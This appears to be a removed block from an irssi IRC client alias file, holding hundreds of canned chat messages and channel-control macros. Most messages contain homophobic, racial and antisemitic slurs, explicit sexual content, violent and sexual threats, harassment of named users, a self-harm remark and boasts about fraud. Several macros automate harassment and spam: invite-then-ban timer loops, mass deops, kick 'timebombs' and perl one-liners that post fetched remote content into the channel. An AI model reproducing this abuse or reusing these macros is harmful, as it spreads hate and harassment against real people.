-  german = "/say look its not hard, ich isnt Ich.. Ich is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin ich an IDIOT.. and im sure right now ich eaiting to CORRECT ME on using ich in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS";
-  haddem = "/say It wants that I kill ipv6 for you?";
-  haddem2 = "/say You have some bot to catch its nick when ipv6 to fall?";
-  haddem3 = "/say Hum... it shows to all my colloquy with it for efnet all?";
-  haddem4 = "/say It makes ddos in you all the time?";
-  thoron2 = "/say dirknin a beer and changin diaper my moms cupcake";
-  1337 = "/mode #1337juice +I *!*@*;/mode #1337juice +e *!*@*";
-  shitdick = "/say polla de mierda";
-  spelling = "/say I'm pretty anal retentive about spelling and have the same gripe. Sometimes my fingers and brain aren't together when typing, but that usually results in missing a letter or swapping one, not completely changing the word. I used to spend hours searching \"John Deere ...\", \"John Deer ...\" and whatever other variable I could think of to find some hidden bargains on eBay. But really on IRC spelling isn't THAT important.";
-  dongle = "/say fuck you, you dick dirt dingle dink dock dank dongle";
-  eslam = "/say \0035,13OMG ESLAM IN THIS MOTHERFUCKER\0031,9SUCK MY DOG DICK AFTER I DRINK THIS COLD BEER OR DRINK THIS SHOT OF LIQUOR\00310,0YA BITCH ITS AN ESLAM TIME HEEYYYH OOOOOO\00312,5I ESLAM LIKE SHAQ\0037,13ESLAM DUH DUH DUH DUH DUH DUH LET THE BEER BE DRANK ESLAM!!\00311,5PEANUT BUTTER AND E-SLAM UNHHHHHHHHH\0031,0I SAW PHECO AT THE HOOVER E-SLAM";
-  spanish = "/say americano maldito que odia la mujer blanca que va a aspirar un dick del burro para que libre mantenga una dieta sana";
-  spanish2 = "/say ponga la caja de la escalera en gatito";
-  spanish3 = "/say veinticinco corazones de oro han derretido sobre la pérdida de mi virginidad anal";
-  spanish4 = "/say conseguí dos perros y un gato para aspirar mis bolas anoche y lo es demasiado malo que tuve que matar los perros porque el gato es solo ahora";
-  vxp = "/say back stabbing scumbag";
-  vxp2 = "/say oh fuck cares;/say $0 is gay";
-  vxp3 = "/say more like;/say go fuck yourself";
-  thoron3 = "/say the voices tell me to vxp and scd are cockboys";
-  thoron4 = "/say you need a speak and spell you dumb fuck";
-  pic = "/say http://www.bannedinhollywood.com/wp-content/uploads/2009/04/glaucoma.jpg <- $0";
-  vxp4 = "/say dono what the kike youre talking about atm";
-  vxp5 = "/say mantra of your life";
-  vxp6 = "/say status on /nick thoron";
-  vxp7 = "/say nice emsoilence";
-  spanish5 = "/say el emparedado de pavo con las cebollas del tomate del tocino de la lechuga del queso sazona el rancho y zanahorias anaranjados de la isla con pimienta del saurkraut mil del condimento de Mayo de la salsa de tomate de la mostaza del limón";
-  vxp8 = "/say waah wahh";
-  vxp9 = "/say lol@2 bints";
-  spanish6 = "/say usted me demuestra su cabeza de la salchicha y demostración enferma usted mi máquina para picar carne";
-  female = "say $Z <@arab> id love it; say $Z <@arab> if $0 and $1; say $Z <@arab> were female; say $Z <@arab> and if it was irl; say $Z <@arab> and if i was present";
-  joe = "/say well, first off it was 5 years ago, i committed myself to the state mental institution,i was deemed sane eventually, you guys can be self righteous as much as you want, i knew what i was doing and i knew the risks, i just didnt give a ****, i was curious to see what it felt like to be shot and i got paid for it, i never pay hospital bills, because as you can guess im poor white trash.";
-  joe2 = "/say actually, i'm not supervised.. i was in a state hospital for awhile.. that video was taken 5 years ago and at the ER before committing myself a few months later I told the police that showed up to investigate that a black man shot me in the projects over a dime bag of weed.. I did it for the LULZ!";
-  dryanta = "/say nice srs ban lol";
-  dryanta2 = "/say you aint a baller here unless you > 150/y";
-  dryanta3 = "/say and own a house";
-  dryanta4 = "/say its nothing to brag about";
-  dryanta5 = "/say i just like to say i get paid to play irc";
-  dryanta6 = "/say thats the point im making, not the amount xD";
-  bday = "/say HAPPY BIRTHDAY $0 -> http://boboblogger.mu.nu/archives/birthday%20cake.jpg";
-  vxp10 = "/say hi im here to claim $0's social ineptitude";
-  crux2 = "/say After what happened this weekend, I'm halfway considering moving to another IRC Network. :)";
-  mspaint = "/say http://imgur.com/2ueIP.png <- Remedy";
-  mspaint2 = "/say http://imgur.com/IvKLt.png <- analog";
-  mspaint3 = "/say http://imgur.com/e71fr.png <- insect";
-  mspaint4 = "/say http://imgur.com/GUUWF.png <- gobeyond";
-  mspaint5 = "/say http://img199.imageshack.us/img199/3543/shaggy.jpg <- shaggy (by vap0r)";
-  lunch = "/say had a bowl of cereal for lunch";
-  lunch2 = "/say also had a baked potato and seasoned fries..  had some red beans and rice and a bit of jambalaya, then a few pieces of corn on the cob with  butter.. green beans, lima beans, 4 sausage patties, a soft taco, a pack of gum, 2 mocha fraps a couple pigs in a blanket.. and 4 ice cream sandwiche and a couple dinner mints.. chewin on some pizza rolls now and got a pork loin defrostin at home.. ";
-  slimer = "/say the only thing that surprises me about henry is gasses";
-  crux3 = "/say I've modified that slightly... I definitely apologize for what was said/done, as it was done in reaction to events that never occurred.  And I should apologize for even assuming that slimer/vap0r/dankles would actually do what was pretended.  However, while I will try to be more discerning in the future, if something like this were to actually occur, I would react the same. :P";
-  getgogo = "exec - -out perl -MLWP::Simple -e \"getprint 'http://www.hockeydrunk.com/gogou/random.php'\"2>/dev/null";
-  cp2 = "/say I hope he didn't mean child porn, because that ain't me... I like older more experienced women";
-  admin = "/exec - -out perl -MLWP::Simple -e \"getprint 'http://www.hockeydrunk.com/gogou/admin.php'\" 2>/dev/null";
-  farmville = "/say insect: sign up for troll facebook account; /say so you can farm with me and gogou";
-  pokey = "/say ya i grabbed it of torrent";
-  pokey2 = "/say go bother someone else";
-  pokey3 = "/say I just figured you never leave the house sry";
-  pokey4 = "/say fuk u ur retarded if you didn't like that movie";
-  farm = "/say when you pet the animals, they make a little bit different sound from when you harvest, kind of a happy sound...i like it, and I like the noise the tractor makes when it is plowing, and I like the horn.";
-  farm2 = "/say Love the new 'petting' feature but why can't we pet the rabbits? ";
-  farm3 = "/say I want a 1 billion X 1 billion farm. That way I can spend the entire day plowing and harvesting. In fact, I could just spend the rest of my life doing that. I could plant a 1 day crop and be ready to harvest the first plots, by the time I'm done planting the last ones.";
-  wow2 = "/say I dont get impressed by anything. My girlfriend wore lingerie and i was all \"hmm. nice try.\" and went back to azeroth.";
-  wow3 = "/say so you noobs think you have a right to judge me? think my life is worthless because i play wow maybe only 6-8 hours a night, even less on weekends? fuck you bitch. while you're calling me worthless i'll be owning your noob ass in nagrand arena. you're still in your shitty greens cauze you got 3 screeching shitlings to feed, im decked out in purples with a 1900+ rating and will fuckin destroy you with just one mortal strike+whirlwind.";
-  richard = "/say \0030RIC\0034HARD;/say \0030SIMM\0034ON\0030S";
-  racecar = "/say I'm going to drive a remote controlled car into your mother's pussy and have it drive on her clitoris over and over again until she cums on it and it catches on fire and she dies from pussy burning";
-  muscles = "/say $0 i just got done lifting weights for 2 hours is it normal to have ripped my shirt in the bicep area?";
-  wewew = "/say good production means people can at least figure out how to keep shit from hard limiting";
-  sod = "/say is listening to: (Soulja Boy - turn my swag on) ¤ Length: (3:26) ¤ BitRate: (160kbps)";
-  sod2 = "/say is listening to: (Soulja Boy - kiss me thru the phone (ft. sammie)) ¤ Length: (3:13) ¤ BitRate: (224kbps)";
-  sod3 = "/say is listening to: (Soulja Boy - Freestyle 2) ¤ Length: (2:41) ¤ BitRate: (160kbps)";
-  indian = "/say tbh indians believe that water that isnt blessed by cows isnt holy, so they avoid taking showers regularly.. atleast in countries other than india.. weird fact";
-  slimer2 = "/say chill about nudes of my wife";
-  smyd = "/say \0034s\037\00313\037MY\037\0034d";
-  irc = "/say i was in middle school when i started using irc for warez back like 03 ish but only started chatting in like 06";
-  kirby = "/say \00313( > '_')>";
-  malcolm = "/say yes no, maybe.....;/say i dont kNOWWWW;/say can you REPEAT THE QUESTIONS;/say UR NOT THE BOSS OF ME NOW;/say UR NOT THE BOSS OF ME NOW;/say UR NOT THE BOSS OF ME NOW AND YOURE NOT SO BIG";
-  duck = "/say life is like a hurricane;/say here in.. duckburg;/say race cars, lasers, aeroplanes...;/say its a, duck blurrrr;/say might solve a mystery........or REWRITE HISTORY..;/say DUCK TALES AWHOOOO EVERYDAY THEYRE OUT THERE MAKING;/say DUCK TALES AWHOOOOO TALES OF DARING DO BAD AND GOOD LUCKTALES!!!!!!!!!!!!!!!!!!!!!!!";
-  chip = "/say ch-ch-ch-chip n dale, rescue rangers;/say ch-ch-ch-chip n dale when there's danger...;/say OH NO IT NEVER FAILS THEYLL TAKE THE CLUES;/say AND FIND THE WHERES AND WHYS AND WHOS (key change repeat)";
-  kewsh = "/say yea i work with pipe motherfucking";
-  kickbomb = "/kick $0 snip...*BOOOOOM!*. (1516 people are crap at this)";
-  cig = "/say ()_____)_cig_status?______)~~~~~~~~~~~~";
-  story = "/say one time my friend put too much lighter fluid on coals; /say and he cook burgers that taste like lighter fluid;/say it make my burp smell like rancid shit;/say and it almost make my friend throwup in the car";
-  shaggy = "/say i don't even joke about that shit";
-  shaggy2 = "/say srs";
-  biggest = "/say you guys accomplished getting the biggest faggots on efnet together in one channel";
-  stupid = "/say How can somebody be in Europe and France at the same time?";
-  timebombkick = "/kick $0 *BOOOOM* Fear. Go to die noob!. (1554 times someone set you up the bomb)";
-  wendys = "/say you'll end up blowing disgusting faggots behind the wendy's dumpster for change to buy alcohol to help you forget your ruined existance";
-  buzz = "/notice $0 BuZzZzZz";
-  ring = "/say IF YOU LIKED IT THEN YOU SHOULDA PUT A RING ON IT";
-  tool = "/say some say a comet will fall from the sky;/say followed by meteor showers and tidal waves;/say followed by fault lines that cannot sit still;/say followed by millions of dumb founded dipshits and;/say some say the end is near..;/say some say we'll see armageddon soon;/say i certainly hope we will.. i sure could use a vacation from this....................";
-  tool2 = "/say some say an admin will fall from the sky;/say followed by taking the price and coke for all;/say followed by hacked box and zines soon released;/say followed by dose getting busted and hemmed up;/say some say the end is near;/say some say that iC is next;/say i certainly hope it is;/say i sure could use a vacation from this";
-  tool3 = "/say some say that detroit will burn to the ground;/say some say that moors are not worth the shit on my shoe;/say some say that #nhl is life for life;/say some say that insectwife is fuckin a black guy;/say some say that slimers wife is fucking admin;/say some say that vapwife will leave him for vapcat;/say some say that joeeee tweets way too much;/say some say that soujiro takes it in the butt";
-  nba = "/say *AT THE BUZZER*;/say *THE SHOT*;/say *REJECTED*;/say *NO GOOD*;/say *HES HEATING UP*;/say \0034*HES ON FIRE*;/say \0030\037*JAMS IT IN*;/say \00313BOOMSHAKALAKA";
-  obs = "/say yo wassup jamie langenburnner";
-  confuse = "/say Has anyone really been far even as decided to use even go want to do look more like?";
-  confuse2 = "/say You've got to be kidding me. I've been further even more decided to use even go need to do look more as anyone can. Can you really be far even as decided half as much to use go wish for that? My guess is that when one really been far even as decided once to use even go want, it is then that he has really been far even as decided to use even go want to do look more like. It's just common sense.";
-  oj = "/say dis oj da juice man king shawty ice berg BUR shawty east 4th shawty ward shawt clayburn homes shawty ice neck and chest shawty in the bildin shawty red on da triz zaytoven on da b shawty king shit real big one hunnid not 99 we keep it 50 50 50 hunid fo us an fifty fo da hataz";
-  carl = "/say \00313CCCCCCCCCCCCCCCCCCCCCCCCCC\0034AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0038RRRRRRRRRRRRRRRRRRRRRRRRRRRR\00312LLLLLLLLLLLLLLLLLLLLLLLLL\0033'D";
-  combo = "/say thats odd, cuz i was just in barbados for vacation in May, and I dated a model i met on the beach";
-  analog = "/say i'll make your life a living household";
-  warez = "/say all you have to do is stop the kiddie games grow up and move on and maybe one day you two will get into the games/warez/etc... and actually be enjoyed by the people you surround yourself with";
-  chase9 = "/say http://i37.tinypic.com/2chl79l.jpg";
-  ascii2 = "/say why do i not have ops.  i think i was one of the first 5 people to join this channel 15 years ago";
-  ascii3 = "/say go read the history of the pc ascii scene, thx :)";
-  lolpart = "/msg $0 HAHAHA WE HOPE YOU HAD A GOOD LAUGH IN #LOL COME BACK ONE DAY WHEN YOU ARENT SUCH A FAG";
-  dela = "/say and ur lucky i dont know where you live;/say id tag on ur mailbox;/say fag";
-  ts = "/say not funny meme;/gogou";
-  is = "to";
-  cafe = "/say You are doing this thing all over the time.....What is going on?You are not leave us play the game piece....You should shame on you.....";
-  cafe2 = "/say I want my money back for the loss i have, my burgers are burned!!!!!";
-  cafe3 = "/say hey i ve been wait for a day for my chicken and its probably burned gone bad will it be fresh when u finish your repair...????????and my other food is already burnt spoiled i hope when ya finish everyones food is still fresh";
-  cafe5 = "/say ALL DAY THEN MY FOOD IS GOIN TO B FUCKED SOON SO COME ON !!!!!!!!";
-  cafe6 = "/say SORT THE GAME OUT BEFORE WE ALL START COOKING CHICKENS AND HOG ROASTS!. THATS 30,000 U OWE ME NOW, THANKS CAFE WORLD!";
-  henry = "/say he's a REAL LOSER,dont trust him...........be caerful.";
-  blol = "/say \0039huHUEHUhUHEuhuheuheuHEU";
-  techno = "/say \00313,2¨°º¤øD¸TECHNO ø¤º°¨;/say \0032,8Dø¤º°¨FOREVER`°º¤ø\\";
-  fakeop = "/op $0;/ban $0";
-  joke = "/say wow, $0, ha ha, that was a hilarious joke.. i know people that would pay ten grand for shit half that funny";
-  1067 = "/say \0030thx for keepin it locked to irc's OWN \0034*106.7 \00313THE FAG\0034*";
-  cl2 = "/say you know what i mean by milk my dick holla at me. U gotta do more than just suck my shit, u gotta PULL every bit of the nutt out of my dick. U can do this wit ass...head...whatever u got u drain me wit.";
-  cl3 = "/say WM here looking to host a Hung Thug tonight and give him the best head and ass he will ever have. get back at me with a pic and stats. Not generous here.";
-  cl4 = "/say 22 white bubble ass looking for TOPS - 22 (Jackson/Covington)";
-  cl5 = "/say you where out with friends drinking grenades you live in Kenner. you had one of your friends hold the bathroom door while you pissed on me in the bathroom than I paid you 20 if you see this I WANT MORE SEND ME A EMAIL WITH YOUR PICTURE this was on a saturday nigth";
-  cl7 = "/say Not looking to hook up. Just home alone looking to see if anyone would like to have email conversation. It can be as pure as the wind driven snow or as erotic as you wish. If interested please place \"no harm\" in the subject and if you send a picture you will get one in return. ";
-  cl8 = "/say I AM LOOKING FOR A TOP MAN.;/say I'M 6FT 200 IN SHAPE NICELY HUNG BOTTOM.;/say IF YOUR GAME FOR TOPPING HIT ME UP.;/say MY PLACE ";
-  cl9 = "/say I just got done fucking my wife. I want someone to suck my dick with her wetness still on my dick. have not showered yet. anyone down? can meet you somewhere";
-  wtf = "/say you can watch the \"wtf\"";
-  shortyz = "/say ur like a Trex, and im like.. a 400 year old bear";
-  damar = "/say fake tetedeput probably loaded many shit on damar";
-  wispurs = "/say i want do see everything";
-  powr10 = "/say some $0 guy was sending me tells earlier saying he wanted to fuck my mom";
-  z = "/say i paid cash for my trailer plus 20k in my pocket;/say and that 20k paid for my truck i got back from the auction;/say well, i fucked the system for a little over a hundred grand in cash;/say and its well worth it file bankrupty and its all gone;/say in a couple yrs, i can have fresh start with a lot of hungury creditors";
-  z2 = "/say obviously you don't know much about mh";
-  z3 = "/say i am truly legally blind by legal definition, but i knew it was coming, in doing so, i preplanned everything";
-  z4 = "/say its really simple actually, i found a way to get on disability, and use that to protect myself from any creditors garnishing anything period";
-  z5 = "/say because creditors cannot garnish disability";
-  z6 = "/say i am not here to please you";
-  z7 = "/say you folks dunno much aobut MH, but thats oky";
-  z8 = "/say whats nice about being on visual disability is i can still make an additional 1500 a month income";
-  rams = "/say i'm a rams in this room";
-  stupid2 = "/say George Bush prays everyday and thats a good quality for a leader to have";
-  stupid3 = "/say You can't drive to Alaska, it's an island!";
-  dphase = "/say its really fun and trick";
-  chan88 = "/say GOOD TIRED OF THE GAY TALK, ANYWAY WHAT IS THIS PROGRAM ABOUT";
-  z9 = "/say i wanna fuck a fags ass";
-  z10 = "/say I will go as far to fuck him and his son, both, i dont care";
-  steenos = "/say My perfect date would be to have dinner on a nice sailboat, watching the sunset, and have dolphins swimming next to the boat. Then eat dessert while watching the stars.";
-  marc = "/say $0: I JUST SHAT ORANGEY YELLOW DIARRHEA IN YER CAB!!!!!";
-  pheco3 = "/say i made the mistake of using tap water to make irc for my drinks in egypt";
-  paul = "/say do better now :)";
-  deppy = "/say shame it doesnt work that way";
-  deppy2 = "/say sad you lost your safe haven?";
-  shaggy3 = "/say didn't get too many places";
-  it = "takes";
-  myself = "to";
-  hams = "/say I love pork rinfs";
-  promise = "/say this is my promise ring to you $0;/say \0030*\0038o";
-  wtf2 = "/say you do realize that all kinds of media is transfered via bittorrent..";
-  odds = "/say .odds ncf *";
-  jokle = "/say hey whats up man why u being so weird dude :)";
-  heatwave = "/say lol: \0030,2LOL IVE MADE IT MY LIFE TO TEACH HEATWAVE?? TO USE YOU'RE INSTEAD OF YOUR WHEN THE TIME IS RIGHT.. PLEASE HELP ME TEACH HER THAT HER WAYS NEED CORRECTING :)";
-  vogeltje3 = "/say thats the horriblest movie ive ever seen";
-  youtube = "/say He needs his dick cut off and shoved down his fucking throat for this... Yeah motherfucker you know you will get that ass stomped if you are seen out ..What a fucking pussy you are !";
-  inviteban = "/timer add t1 2 0 /invite $0 #LOL;/timer add t2 2 0 /mode #lol +b $0!*@*;/timer add t3 2 0 /mode #lol -b $0!*@*";
-  invitechanstop = "/timer stop t1;/timer stop t2;/timer stop t3";
-  invitebanstop = "/timer stop t1;/timer stop t2;/timer stop t3";
-  dynasty = "/mode #1337juice -k;/invite dynasty";
-  evil = "/say  but evil isnt around and i dont know if i should just wait to ask him, but i know you are amazingly powerful too, and i almost think maybe more so";
-  dphase2 = "/say not sure what they dude";
-  window = "/win";
-  lord = "/say Do not seek revenge or bear a grudge against one of your people, but love your neighbor as yourself. I am the LORD. (Leviticus. 19:18). ";
-  revenge = "/say Do not seek revenge or bear a grudge against one of your people, but love your neighbor as yourself. I am the LORD. (Leviticus. 19:18). ";
-  spam = "trigger add -publics -channels '#efnetnews' -regexp '$0' -command 'KN \\$N a'";
-  spam2 = "/say .nflstandings nfc";
-  spam3 = "/say .mlb *";
-  johne2 = "/say himmy is hear to ruin our perfectly good conversation";
-  hetero9 = "/mode #1337juice -k;/invite hetero9";
-  pheco4 = "/say A big part of that $293k profit is from the ruffly 6,700 employees taking a 10% pay reduction and losing their PTO. : (";
-  pheco5 = "/say im not quite shirt";
-  aesop = "/say ban all lamers and tads";
-  other = "12000 0 /msg #LOL \0030,2WHATTUP SON CHECK OUT http://wewt.org/~r0pav for the STATS IN #LOL LOL";
-  shaggy4 = "/say i recall you bashing audiophiles a few months ago";
-  shaggy5 = "/say when discussing flac";
-  homopart = "/part NO HOMO BUT I CAN TELL THE DIFFERENCE BETWEEN A GOOD FAT THICK DICK AND A REGULAR ONE";
-  chan89 = "/say fuck of asshole";
-  turbo = "/say they dump about 200 bottles into the dumbster every half hour";
-  peesex = "/say Im a grown man and id throw you over my knee and beat the fuck out of you like you had stole something from me";
-  pheco6 = "/say is it supposed to tell me i changed my ass or wat";
-  pizza = "/say i somtimes make my girlfriend soak her anus in pizza grease so she gets pimples on her ass and then while giving anul sex to her i pop them. it turns me on";
-  middle = "/me forms a cross of sorts by holding his left arm horizontal and his right arm upward vertically with his middle finger sticking up fully";
-  insect2 = "/say on ic parties all u see is a bunch of dirty heavies moving the long hair up and down";
-  omegle = "/say you are a skinny ugly and black ass";
-  cho = "/say uh;/say i was jackin off;/say cant find my cell;/say where is it";
-  omegle2 = "/say Hauolihiwahiwa Allegra Kawaonaheleopai'i Moniz";
-  chatwithus = "/say !o click this http://chat.efnet.org/irc.cgi?chan=%23LOL";
-  omegle3 = "/say and the copss are on there way to your house :)";
-  analog2 = "/say i hope u get raped by a snale";
-  pinkfloyd = "/say Pink Floyd is slomo techno with some guy talking during";
-  omegle4 = "/say U MO JO BO BICE NICE RICE SOY SAUCE MICE";
-  omegle5 = "/say my dick would rip ur puss in half";
-  gaotse = "/say https://files.getdropbox.com/u/161376/sexy_ass.jpg";
-  kardus = "/say woulda got him sucke dinto rudes if u didnt do the sister shit lol";
-  harry = "/say insult them with something less illegal";
-  scrim = "/say that's what it says on my underware";
-  insect3 = "/say so like, if i buy the swordz maniac version, i'll get 250 gig hdd, 2 controllers, call of duty 2 which i'll buy n e ways = 400";
-  fart = "/say best one so fart";
-  1337spam = "/j #1337juice;/hueg hetty";
-  kewsh2 = "/say heer it comes";
-  buckeyes = "/say Buckeyes gets opped -> kickbans people -> gets bitch slapped by flyer -> no more kb's";
-  wshh9 = "/say Arab Women LAYDOWN with CAMELS ...and Have babies like french montana and DJ khaled ...these Islamic camel fuckers are RACIST TO AFRICANS IN AFRICA and dont hire BLACK people in america !!";
-  omegle6 = "/say does anyone wanna do penis 2 penis?";
-  insect4 = "/say yeah she's got at ignoring";
-  tranny = "/say http://img165.imageshack.us/img165/6677/hpim1777pd5.jpg <- nude tranny tied up";
-  insect5 = "/say same to you fucking insect;/say what the fuck kind of handle is that;/say do you have antenna";
-  syum = "/say .g errantego";
-  get1337 = "stop";
-  gogospam = "/win 2;/exec - -out perl -MLWP::Simple -e \"getprint 'http://www.hockeydrunk.com/gogou/random.php'\" 2>/dev/null";
-  nesta = "/join #sexytime;/msg #sexytime timebomb nesta;/part #sexytime";
-  insect6 = "/say Forgot backgammon";
-  hook = "/say hook;/say i;/say m;/say m;/say y";
-  powr2 = "/say broil em";
-  powr3 = "/say better than any fast food joint";
-  powr4 = "/say home cooked burgers can be really good if you know how to cook them";
-  pheco7 = "/say saying to ppl about make monk";
-  bratty = "/say one of your cocksucking whore pumpers got my host klined";
-  insect7 = "/say In oarjking lot";
-  pheco8 = "/say i just got soaked trying to smoke a butt";
-  rape2 = "/say unless my rape improves in the next 5 months, im planning on killing myself on the 8th anniversary of Rosa Parks' death. ";
-  cc = "/say \0034,8COCHRoACH CORNBREAD\0038,4COCHRoACH CORNBREAD\0034,8COCHRoACH CORNBREAD\0038,4COCHRoACH CORNBREAD\0034,8COCHRoACH CORNBREAD\0038,4COCHRoACH CORNBREAD\0034,8COCHRoACH CORNBREAD\0038,4COCHRoACH CORNBREAD";
-  wootoff = "/j #wootoff;/msg #wootoff http://irc.dickscab.com/misslavey/image.jpg";
-  yo = "script exec use Irssi qw(active_win)\\; @n\\; \\$c = Irssi::active_win->{'active'}\\; if (ref(\\$c) =~ /^Irssi::Irc::Channel\\$/) {push @n,\\$_ foreach (\\$c->nicks())\\; \\$c->command(\"msg \" . \\$c->{name} . \" yo \" . \\$n[rand \\@n]->{nick} . \" do you have a min\")\\;}";
-  yo1337 = "/j #1337juice;/yo";
-  yochats = "/j #chats;/yo";
-  yolol = "/j #lol;/yo";
-  talisman = "/say the hole crew is up";
-  deep2 = "/say When you're not wanted, get the message and stay away. People use bncs and shells and vhosts to get in rooms that t My favorite band is Sarah McLachlan";
-  band15 = "/say My favorite band is George Strait";
-  band16 = "/say My favorite band is Cold War Kids";
-  band17 = "/say My favorite band is P-Diddy";
-  band18 = "/say My favorite band is Black People";
-  band19 = "/say My favorite band is Vampire Weekend";
-  band20 = "/say My favorite band is King Crimson";
-  band21 = "/say My favorite band is Bob Dylan";
-  band22 = "/say My favorite band is Fleet Foxes";
-  band23 = "/say My favorite band is Twisted Sister";
-  band24 = "/say My favorite band is Scissor Sisters";
-  band25 = "/say My favorite band is Rufus Wainwright";
-  band26 = "/say My favorite band is Merzbau";
-  band27 = "/say My favorite band is Ravi Shankar";
-  band28 = "/say My favorite band is Wilco";
-  band29 = "/say My favorite band is Tech N9ne";
-  band30 = "/say My favorite band is Ghostface Killah";
-  band31 = "/say My favorite band is Bobby Conn";
-  band32 = "/say My favorite band is Morton Subotnik";
-  band33 = "/say My favorite band is Cole Porter";
-  band34 = "/say My favorite band is The String Cheese Incident";
-  band35 = "/say My favorite band is Eagles of Death Metal";
-  band36 = "/say My favorite band is Polyphonic Spree";
-  band37 = "/say My favorite band is The Faint";
-  band38 = "/say My favorite band is Interpol";
-  band39 = "/say My favorite band is Tegan and Sara";
-  band40 = "/say My favorite band is Erasure";
-  band41 = "/say My favorite band is Le Tigre";
-  band42 = "/say My favorite band is The Gossip";
-  band43 = "/say My favorite band is The Magnetic Fields";
-  band44 = "/say My favorite band is The Doors";
-  band45 = "/say My favorite band is Phish";
-  band46 = "/say My favorite band is Queen";
-  band47 = "/say My favorite band is The Strokes";
-  band48 = "/say My favorite band is Metallica";
-  band49 = "/say My favorite band is Judas Priest";
-  band50 = "/say My favorite band is The Village People";
-  band51 = "/say My favorite band is The Secret Handshake";
-  band52 = "/say My favorite band is The Rolling Stones";
-  band53 = "/say My favorite band is David Bowie";
-  band54 = "/say My favorite band is Frankie Goes to Hollywood";
-  band55 = "/say My favorite band is Man or Astroman";
-  band56 = "/say My favorite band is Richard Cheese";
-  band57 = "/say My favorite band is Jay-Z";
-  band58 = "/say My favorite band is Depeche Mode";
-  band59 = "/say My favorite band is Kansas";
-  band60 = "/say My favorite band is Ani DiFranco";
-  band61 = "/say My favorite band is Fischerspooner";
-  band62 = "/say My favorite band is John Mayer";
-  band63 = "/say My favorite band is Angel Eyes";
-  band64 = "/say My favorite band is The Indigo Girls";
-  band65 = "/say My favorite band is Velvet Underground";
-  band66 = "/say My favorite band is Madonna";
-  band67 = "/say My favorite band is Elton John";
-  band68 = "/say My favorite band is Barry Manilow";
-  band69 = "/say My favorite band is Indigo Girls";
-  band70 = "/say My favorite band is Melissa Etheridge";
-  band71 = "/say My favorite band is Eminmen";
-  band72 = "/say My favorite band is Nirvana";
-  band73 = "/say My favorite band is Boy George";
-  band74 = "/say My favorite band is Jon Brion";
-  band75 = "/say My favorite band is The Killers";
-  band76 = "/say My favorite band is Lou Reed";
-  band77 = "/say My favorite band is Motorhead";
-  band = "/say My favorite band is John Mayer";
-  band1 = "/say My favorite band is Ween";
-  band78 = "/say My favorite band is Jill Sobule";
-  band79 = "/say My favorite band is Wilson Phillips";
-  band80 = "/say My favorite band is DMX";
-  band81 = "/say My favorite bite band is Lil' Kim";
-  band86 = "/say My favorite band is kd lang";
-  band87 = "/say My favorite band is Frank Sinatra";
-  band88 = "/say My favorite band is Hinder";
-  band89 = "/say My favorite band is Nickleback";
-  band90 = "/say My favorite band is Justus Kohncke";
-  band91 = "/say My favorite band is Bob Mould";
-  band92 = "/say My favorite band is Clay Aiken";
-  band93 = "/say My favorite band is Arcade Fire";
-  band94 = "/say My favorite band is Bright Eyes";
-  band95 = "/say My favorite band is Corinne Bailey Rae";
-  band96 = "/say My favorite band is Audioslave";
-  band97 = "/say My favorite band is Red Hot Chili Peppers";
-  band98 = "/say My favorite band is Panic at the Disco";
-  band99 = "/say My favorite band is Spin Doctors";
-  band100 = "/say My favorite band is The Deers";
-  portal = "/say hey portal;/say you're not the only one who wears Ed Hardy; /say I just noticed Michael Jackson is wearing it in the This is It DVD";
-  pokey5 = "/say right Im a retard have a look in the mirror loser";
-  her = "/say http://img.metro.co.uk/i/pix/2007/03/WilliamsFat_175x125.jpg <- $0 chatting from her webcam";
-  coffee = "/say i have my coffee with sugar and lightly flaked pieces of skin from the dark inner flaps of fat peoples puss impacted blackheaded pore-thighs";
-  cockboat = "/say \\\\\037(_(_)=============D\037/ \003<- COCKBOAT";
-  coloron = "/script load /home/r/.irssi/scripts/autorun/lo.pl";
-  coloroff = "/script unload lo.pl";
-  truce = "/say I hearby offer you a truce, my apologies";
-  chan90 = "/say ive never fuckin used irc before dumbass";
-  aliason = "/alias say script exec RAND: my (\\$fg, \\$bg) = (int(rand(14)+2), int(rand(14)+2))\\; goto RAND if \\$fg == \\$bg\\; if (\\$bg < 10) { \\$bg = \"0\\$bg\"\\;} my \\$lol = \"\\003\\$fg,\\$bg\" . q($*)\\; Irssi::active_win->command(\"msg * \\$lol\")\\;";
-  aliasoff = "/alias say msg *";
-  pheco9 = "/say those u pulled a josh wroblem";
-  jigga2 = "/say shutup ^NiGgA^";
-  tila = "/say 1) I have money 2) Im not needy cuz I run my own business 3) I dont have trust issues 4) Im an EXCELLENT LOVER IN BED what more do u need?";
-  tila2 = "/say i have a HUGE heart! When I love someone, you are my love and my life! I love you gently and passionately. Im VERY addicting I must say! heh";
-  tila3 = "/say I like to kiss a lot. Tell u i love you everyday so u dont feel worried. When u have bad days I will caress u & tell u how much I love you..";
-  tila4 = "/say Im just gonna probably end up marrying a woman. Because I KNOW she will love my children as her own. Ok thats resolved! whew! lol";
-  cho2 = "/say yeah man you have such a life sitting in here for the past 4 hours chatting about gay sex and farts";
-  colby = "/say and besides I went to the police station last night at 12 okay, so you thinks I'm going to drop the charges?";
-  colby2 = "/say have fun while your free days last.  After all, I don't play games, and you made 5 death threats towards me.  PEACE HOMES!";
-  germany = "/say yo $0 you know how you said austria and germany were the same country?";
-  prence = "/say my girlfriend was telling me about some chick she went to high school with where she talks about her brothers conviction for child raping and how she cant wait for her baby's daddy to get out of prison";
-  bloodon = "/script load /home/r/.irssi/scripts/autorun/blood.pl";
-  bloodoff = "/script unload blood";
-  steelers = "/say I'm truly sorry for the disappointment and negative attention I've brought to my family, teammates, coaches, the Rooneys, and the NFL. I understand the opportunities I've been  = ";
-  #kb";
-  0 = "phecodiss";
-  phecodiss2 = "/say r mom wasn't that good n bed! How was she when u and ur brother had her?";
-  phecodiss3 = "/say Did you guys see the latest issue of \"Animal Husbandry\" Pheco made the cover. His Mom is proud !";
-  pussy = "/say $0 &  $1 chilling together https://img.buzzfeed.com/buzzfeed-static/static/2014-04/enhanced/webdr08/7/13/enhanced-6738-1396891406-47.jpg";
-  deopinsect = "/deop bubbs- fleury tpb- ss yinzer polka redface penguins malkin molotov graves tnews mybffjill scores;/mode #1337juice +b *!*@*.pp4l.org";
-  truth = "/say just google whatever +conspiracy, to get the real truth";
-  chan91 = "/say bit I don't have something about that stupid cancer head";
